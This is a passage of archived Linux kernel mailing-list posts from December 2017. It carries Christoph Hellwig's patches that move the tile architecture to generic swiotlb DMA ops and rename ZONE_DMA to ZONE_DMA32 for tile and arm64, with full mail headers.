        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Fri Dec 29 09:22:06 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eUpvZ-0001LN-R4
	for glps-linuxsh-dev@m.gmane.org; Fri, 29 Dec 2017 09:22:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932957AbdL2IYH (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Fri, 29 Dec 2017 03:24:07 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:43389 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1756082AbdL2IX7 (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Fri, 29 Dec 2017 03:23:59 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=IhQmNFvS37SrlefQ2IszwATdl4fz37diwdJg0nSvCrY=; b=DcyRZbTpjS2FECkzajuGxJDgL
        s0orQtXqydM+6bSodmrv/yCYwLb8Nopj6FrkKJTEFT8Ev5zo8z5I2zbpZkcNFQO44pfgEHcvzWCye
        rqb4w+DP0fO/xbXA7PAqvVnihl+4JgBqfgCd/f1+cTq47sA2pMKOAYXKJeuJ8q/8QsoJsMGHADvOP
        R/HhvrihrFB7lI64M872QQYvbxghmEExwS+Aaxd0gVTIWBqN6N9BpRRthuLlojtYLZCRKISO08gi4
        Z5Xi070UTvlekO4gTR+RrxMZCfxspj2lVOY7ZhkTB3mL9iyKNl+7EECHYITTT0X9fYEcvnXKz7/Dk
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpxA-0003r5-Dv; Fri, 29 Dec 2017 08:23:45 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56081 gmane.linux.kernel.iommu:21925 gmane.linux.ports.alpha:4592 gmane.linux.kernel.arc:3213 gmane.linux.ports.arm.kernel:622938 gmane.linux.ports.hexagon:1445 gmane.linux.ports.ia64:28435 gmane.linux.kernel.metag:1519 gmane.linux.ports.mips.general:62968 gmane.linux.ports.parisc:28110 gmane.linux.ports.ppc64.devel:151542 gmane.linux.ports.sparc:27088 gmane.linux.kernel.cross-arch:40828 gmane.linux.kernel:2654255
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56081>

These are identical to the tile ops, and would also support CMA
if enabled on tile.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/tile/Kconfig          |  1 +
 arch/tile/kernel/pci-dma.c | 36 +++---------------------------------
 2 files changed, 4 insertions(+), 33 deletions(-)

diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
index 30c586686f29..ef9d403cbbe4 100644
--- a/arch/tile/Kconfig
+++ b/arch/tile/Kconfig
@@ -261,6 +261,7 @@ config NEED_SG_DMA_LENGTH
 config SWIOTLB
 	bool
 	default TILEGX
+	select DMA_DIRECT_OPS
 	select IOMMU_HELPER
 	select NEED_SG_DMA_LENGTH
 	select ARCH_HAS_DMA_SET_COHERENT_MASK
diff --git a/arch/tile/kernel/pci-dma.c b/arch/tile/kernel/pci-dma.c
index a9b48520eeb9..6e9365234b6a 100644
--- a/arch/tile/kernel/pci-dma.c
+++ b/arch/tile/kernel/pci-dma.c
@@ -511,39 +511,9 @@ EXPORT_SYMBOL(gx_pci_dma_map_ops);
 /* PCI DMA mapping functions for legacy PCI devices */
 
 #ifdef CONFIG_SWIOTLB
-static void *tile_swiotlb_alloc_coherent(struct device *dev, size_t size,
-					 dma_addr_t *dma_handle, gfp_t gfp,
-					 unsigned long attrs)
-{
-	gfp |= GFP_DMA32;
-	return swiotlb_alloc_coherent(dev, size, dma_handle, gfp);
-}
-
-static void tile_swiotlb_free_coherent(struct device *dev, size_t size,
-				       void *vaddr, dma_addr_t dma_addr,
-				       unsigned long attrs)
-{
-	swiotlb_free_coherent(dev, size, vaddr, dma_addr);
-}
-
-static const struct dma_map_ops pci_swiotlb_dma_ops = {
-	.alloc = tile_swiotlb_alloc_coherent,
-	.free = tile_swiotlb_free_coherent,
-	.map_page = swiotlb_map_page,
-	.unmap_page = swiotlb_unmap_page,
-	.map_sg = swiotlb_map_sg_attrs,
-	.unmap_sg = swiotlb_unmap_sg_attrs,
-	.sync_single_for_cpu = swiotlb_sync_single_for_cpu,
-	.sync_single_for_device = swiotlb_sync_single_for_device,
-	.sync_sg_for_cpu = swiotlb_sync_sg_for_cpu,
-	.sync_sg_for_device = swiotlb_sync_sg_for_device,
-	.dma_supported = swiotlb_dma_supported,
-	.mapping_error = swiotlb_dma_mapping_error,
-};
-
 static const struct dma_map_ops pci_hybrid_dma_ops = {
-	.alloc = tile_swiotlb_alloc_coherent,
-	.free = tile_swiotlb_free_coherent,
+	.alloc = swiotlb_alloc,
+	.free = swiotlb_free,
 	.map_page = tile_pci_dma_map_page,
 	.unmap_page = tile_pci_dma_unmap_page,
 	.map_sg = tile_pci_dma_map_sg,
@@ -554,7 +524,7 @@ static const struct dma_map_ops pci_hybrid_dma_ops = {
 	.sync_sg_for_device = tile_pci_dma_sync_sg_for_device,
 };
 
-const struct dma_map_ops *gx_legacy_pci_dma_map_ops = &pci_swiotlb_dma_ops;
+const struct dma_map_ops *gx_legacy_pci_dma_map_ops = &swiotlb_dma_ops;
 const struct dma_map_ops *gx_hybrid_pci_dma_map_ops = &pci_hybrid_dma_ops;
 #else
 const struct dma_map_ops *gx_legacy_pci_dma_map_ops;
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 60/67] tile: replace ZONE_DMA with ZONE_DMA32
Date: Fri, 29 Dec 2017 09:19:04 +0100
Lines: 82
Approved: news@gmane.org
Message-ID: <20171229081911.2802-61-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535738 10801 195.159.176.226 (29 Dec 2017 08:22:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:22:18 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Fri Dec 29 09:22:12 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eUpva-0001LN-Rv
	for glps-linuxsh-dev@m.gmane.org; Fri, 29 Dec 2017 09:22:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932956AbdL2IYG (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Fri, 29 Dec 2017 03:24:06 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:40745 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1756151AbdL2IXw (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Fri, 29 Dec 2017 03:23:52 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=gHCO/FMTMmLY6q/804twb5+5GZ2LDhEzPaPwzaH/v5I=; b=duBbmVa+NPlchAItiFRBUKVS7
        PY0sOhB/W8RnM13PYol8HE5rSR6UtNDCdablYILLwXvV4mN6PMsrTSGsT83PpRsAn70KnhNo8AJCV
        lVe85RwzGkvkOY8cj+TKUKfT26661klAO1udoJEzp2gWFRP5hal1EnjMzXkUeRrjqIWocHba1PcBY
        rRzqqF18bwBlYiC39XJDI0MqWjvUfDPJilaUYzqDUBGpOWgAxFuYG0Zrqcqr1AT7BGsW1VSm9Hi64
        UQqnXouXD/xUkvTK2YYErnkXVbb+9LDEZ77KQQtsAGmJJOoxt+T8JZvOc7Bpw8m1NNYSe6Gzvfqk4
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpx6-0003nd-4Z; Fri, 29 Dec 2017 08:23:40 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56082 gmane.linux.kernel.iommu:21926 gmane.linux.ports.alpha:4593 gmane.linux.kernel.arc:3214 gmane.linux.ports.arm.kernel:622939 gmane.linux.ports.hexagon:1446 gmane.linux.ports.ia64:28436 gmane.linux.kernel.metag:1520 gmane.linux.ports.mips.general:62969 gmane.linux.ports.parisc:28111 gmane.linux.ports.ppc64.devel:151543 gmane.linux.ports.sparc:27089 gmane.linux.kernel.cross-arch:40829 gmane.linux.kernel:2654256
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56082>

tile uses ZONE_DMA for allocations below 32-bits.  These days we
name the zone for that ZONE_DMA32, which will allow to use the
dma-direct and generic swiotlb code as-is, so rename it.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/tile/Kconfig          | 2 +-
 arch/tile/kernel/pci-dma.c | 4 ++--
 arch/tile/kernel/setup.c   | 8 ++++----
 3 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
index 02f269cfa538..30c586686f29 100644
--- a/arch/tile/Kconfig
+++ b/arch/tile/Kconfig
@@ -249,7 +249,7 @@ config HIGHMEM
 
 	  If unsure, say "true".
 
-config ZONE_DMA
+config ZONE_DMA32
 	def_bool y
 
 config IOMMU_HELPER
diff --git a/arch/tile/kernel/pci-dma.c b/arch/tile/kernel/pci-dma.c
index 9072e2c25e59..a9b48520eeb9 100644
--- a/arch/tile/kernel/pci-dma.c
+++ b/arch/tile/kernel/pci-dma.c
@@ -54,7 +54,7 @@ static void *tile_dma_alloc_coherent(struct device *dev, size_t size,
 	 * which case we will return NULL.  But such devices are uncommon.
 	 */
 	if (dma_mask <= DMA_BIT_MASK(32)) {
-		gfp |= GFP_DMA;
+		gfp |= GFP_DMA32;
 		node = 0;
 	}
 
@@ -515,7 +515,7 @@ static void *tile_swiotlb_alloc_coherent(struct device *dev, size_t size,
 					 dma_addr_t *dma_handle, gfp_t gfp,
 					 unsigned long attrs)
 {
-	gfp |= GFP_DMA;
+	gfp |= GFP_DMA32;
 	return swiotlb_alloc_coherent(dev, size, dma_handle, gfp);
 }
 
diff --git a/arch/tile/kernel/setup.c b/arch/tile/kernel/setup.c
index ad83c1e66dbd..eb4e198f6f93 100644
--- a/arch/tile/kernel/setup.c
+++ b/arch/tile/kernel/setup.c
@@ -814,11 +814,11 @@ static void __init zone_sizes_init(void)
 #endif
 
 		if (start < dma_end) {
-			zones_size[ZONE_DMA] = min(zones_size[ZONE_NORMAL],
+			zones_size[ZONE_DMA32] = min(zones_size[ZONE_NORMAL],
 						   dma_end - start);
-			zones_size[ZONE_NORMAL] -= zones_size[ZONE_DMA];
+			zones_size[ZONE_NORMAL] -= zones_size[ZONE_DMA32];
 		} else {
-			zones_size[ZONE_DMA] = 0;
+			zones_size[ZONE_DMA32] = 0;
 		}
 
 		/* Take zone metadata from controller 0 if we're isolnode. */
@@ -830,7 +830,7 @@ static void __init zone_sizes_init(void)
 		       PFN_UP(node_percpu[i]));
 
 		/* Track the type of memory on each node */
-		if (zones_size[ZONE_NORMAL] || zones_size[ZONE_DMA])
+		if (zones_size[ZONE_NORMAL] || zones_size[ZONE_DMA32])
 			node_set_state(i, N_NORMAL_MEMORY);
 #ifdef CONFIG_HIGHMEM
 		if (end != start)
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 64/67] arm64: replace ZONE_DMA with ZONE_DMA32
Date: Fri, 29 Dec 2017 09:19:08 +0100
Lines: 111
Approved: news@gmane.org
Message-ID: <20171229081911.2802-65-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535743 11940 195.159.176.226 (29 Dec 2017 08:22:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:22:23 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 29 09:22:17 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eUpvk-0002gN-9t
	for glk-linux-kernel-3@m.gmane.org; Fri, 29 Dec 2017 09:22:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932980AbdL2IYQ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 29 Dec 2017 03:24:16 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:35612 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932774AbdL2IYJ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 29 Dec 2017 03:24:09 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=ZZzVP5HMzNOZdDYvyboMv4t83qc0gwjZ2w8NhH0U9WY=; b=qVXvz1lAzG1r2USh9QINKrOtR
        Fs8Cwf7S8EK7fCLoT7ctUVyQJCdZlm58y65U49XS+lwK/ioTNvHILvmb7Fao0tvtdV/WkbBbW0y1t
        1Sae6i3Q25ZWTo6ew44vE8bzZ2baGRtds0ZFRXuRSh0FoHjSPg1mH5KQ65ZYzmZ+xKDkHDGRcZiFX
        81xn9ZyprjLPix7J8jMHJMbhXqSXHlOFe/u0UBtPciZ+Zsopq3DX+UrS8BIlBsihu3OJXgSr3eZsk
        pKmGhsbA/lByjCWkQR4+DZD+mTsgGYfVmLjwyn83QWApv/m5FGpsz+3yq7plppTYaOo6qNxUwFk4+
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpxO-000400-4u; Fri, 29 Dec 2017 08:23:58 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2654257 gmane.linux.kernel.iommu:21927 gmane.linux.ports.alpha:4594 gmane.linux.kernel.arc:3215 gmane.linux.ports.arm.kernel:622940 gmane.linux.ports.hexagon:1447 gmane.linux.ports.ia64:28437 gmane.linux.kernel.metag:1521 gmane.linux.ports.mips.general:62970 gmane.linux.ports.parisc:28112 gmane.linux.ports.ppc64.devel:151544 gmane.linux.ports.sh.devel:56083 gmane.linux.ports.sparc:27090 gmane.linux.kernel.cross-arch:40830
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2654257>

arm64 uses ZONE_DMA for allocations below 32-bits.  These days we
name the zone for that ZONE_DMA32, which will allow to use the
dma-direct and generic swiotlb code as-is, so rename it.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/arm64/Kconfig          |  2 +-
 arch/arm64/mm/dma-mapping.c |  6 +++---
 arch/arm64/mm/init.c        | 16 ++++++++--------
 3 files changed, 12 insertions(+), 12 deletions(-)

diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index c9a7e9e1414f..6b6985f15d02 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -227,7 +227,7 @@ config GENERIC_CSUM
 config GENERIC_CALIBRATE_DELAY
 	def_bool y
 
-config ZONE_DMA
+config ZONE_DMA32
 	def_bool y
 
 config HAVE_GENERIC_GUP
diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
index 6840426bbe77..0d641875b20e 100644
--- a/arch/arm64/mm/dma-mapping.c
+++ b/arch/arm64/mm/dma-mapping.c
@@ -95,9 +95,9 @@ static void *__dma_alloc_coherent(struct device *dev, size_t size,
 				  dma_addr_t *dma_handle, gfp_t flags,
 				  unsigned long attrs)
 {
-	if (IS_ENABLED(CONFIG_ZONE_DMA) &&
+	if (IS_ENABLED(CONFIG_ZONE_DMA32) &&
 	    dev->coherent_dma_mask <= DMA_BIT_MASK(32))
-		flags |= GFP_DMA;
+		flags |= GFP_DMA32;
 	if (dev_get_cma_area(dev) && gfpflags_allow_blocking(flags)) {
 		struct page *page;
 		void *addr;
@@ -397,7 +397,7 @@ static int __init atomic_pool_init(void)
 		page = dma_alloc_from_contiguous(NULL, nr_pages,
 						 pool_size_order, GFP_KERNEL);
 	else
-		page = alloc_pages(GFP_DMA, pool_size_order);
+		page = alloc_pages(GFP_DMA32, pool_size_order);
 
 	if (page) {
 		int ret;
diff --git a/arch/arm64/mm/init.c b/arch/arm64/mm/init.c
index 00e7b900ca41..8f03276443c9 100644
--- a/arch/arm64/mm/init.c
+++ b/arch/arm64/mm/init.c
@@ -217,7 +217,7 @@ static void __init reserve_elfcorehdr(void)
 }
 #endif /* CONFIG_CRASH_DUMP */
 /*
- * Return the maximum physical address for ZONE_DMA (DMA_BIT_MASK(32)). It
+ * Return the maximum physical address for ZONE_DMA32 (DMA_BIT_MASK(32)). It
  * currently assumes that for memory starting above 4G, 32-bit devices will
  * use a DMA offset.
  */
@@ -233,8 +233,8 @@ static void __init zone_sizes_init(unsigned long min, unsigned long max)
 {
 	unsigned long max_zone_pfns[MAX_NR_ZONES]  = {0};
 
-	if (IS_ENABLED(CONFIG_ZONE_DMA))
-		max_zone_pfns[ZONE_DMA] = PFN_DOWN(max_zone_dma_phys());
+	if (IS_ENABLED(CONFIG_ZONE_DMA32))
+		max_zone_pfns[ZONE_DMA32] = PFN_DOWN(max_zone_dma_phys());
 	max_zone_pfns[ZONE_NORMAL] = max;
 
 	free_area_init_nodes(max_zone_pfns);
@@ -251,9 +251,9 @@ static void __init zone_sizes_init(unsigned long min, unsigned long max)
 	memset(zone_size, 0, sizeof(zone_size));
 
 	/* 4GB maximum for 32-bit only capable devices */
-#ifdef CONFIG_ZONE_DMA
+#ifdef CONFIG_ZONE_DMA32
 	max_dma = PFN_DOWN(arm64_dma_phys_limit);
-	zone_size[ZONE_DMA] = max_dma - min;
+	zone_size[ZONE_DMA32] = max_dma - min;
 #endif
 	zone_size[ZONE_NORMAL] = max - max_dma;
 
@@ -266,10 +266,10 @@ static void __init zone_sizes_init(unsigned long min, unsigned long max)
 		if (start >= max)
 			continue;
 
-#ifdef CONFIG_ZONE_DMA
+#ifdef CONFIG_ZONE_DMA32
 		if (start < max_dma) {
 			unsigned long dma_end = min(end, max_dma);
-			zhole_size[ZONE_DMA] -= dma_end - start;
+			zhole_size[ZONE_DMA32] -= dma_end - start;
 		}
 #endif
 		if (end > max_dma) {
@@ -467,7 +467,7 @@ void __init arm64_memblock_init(void)
 	early_init_fdt_scan_reserved_mem();
 
 	/* 4GB maximum for 32-bit only capable devices */
-	if (IS_ENABLED(CONFIG_ZONE_DMA))
+	if (IS_ENABLED(CONFIG_ZONE_DMA32))
 		arm64_dma_phys_limit = max_zone_dma_phys();
 	else
 		arm64_dma_phys_limit = PHYS_MASK + 1;
-- 
2.14.2



From - Thu Nov 08 21:40:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 66/67] swiotlb: remove swiotlb_{alloc,free}_coherent
Date: Fri, 29 Dec 2017 09:19:10 +0100
Lines: 96
Approved: news@gmane.org
Message-ID: <20171229081911.2802-67-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535754 14332 195.159.176.226 (29 Dec 2017 08:22:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:22:34 +0000 (UTC)
Cc: linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
        linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
        adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
        linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
        linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
        linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
        patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
        linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Dec 29 09:22:29 2017
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1eUpvw-0002gN-GX
	for glkm-linux-metag@m.gmane.org; Fri, 29 Dec 2017 09:22:28 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S933007AbdL2IYa (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
        Fri, 29 Dec 2017 03:24:30 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:60516 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932651AbdL2IYY (ORCPT
        <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
        Fri, 29 Dec 2017 03:24:24 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
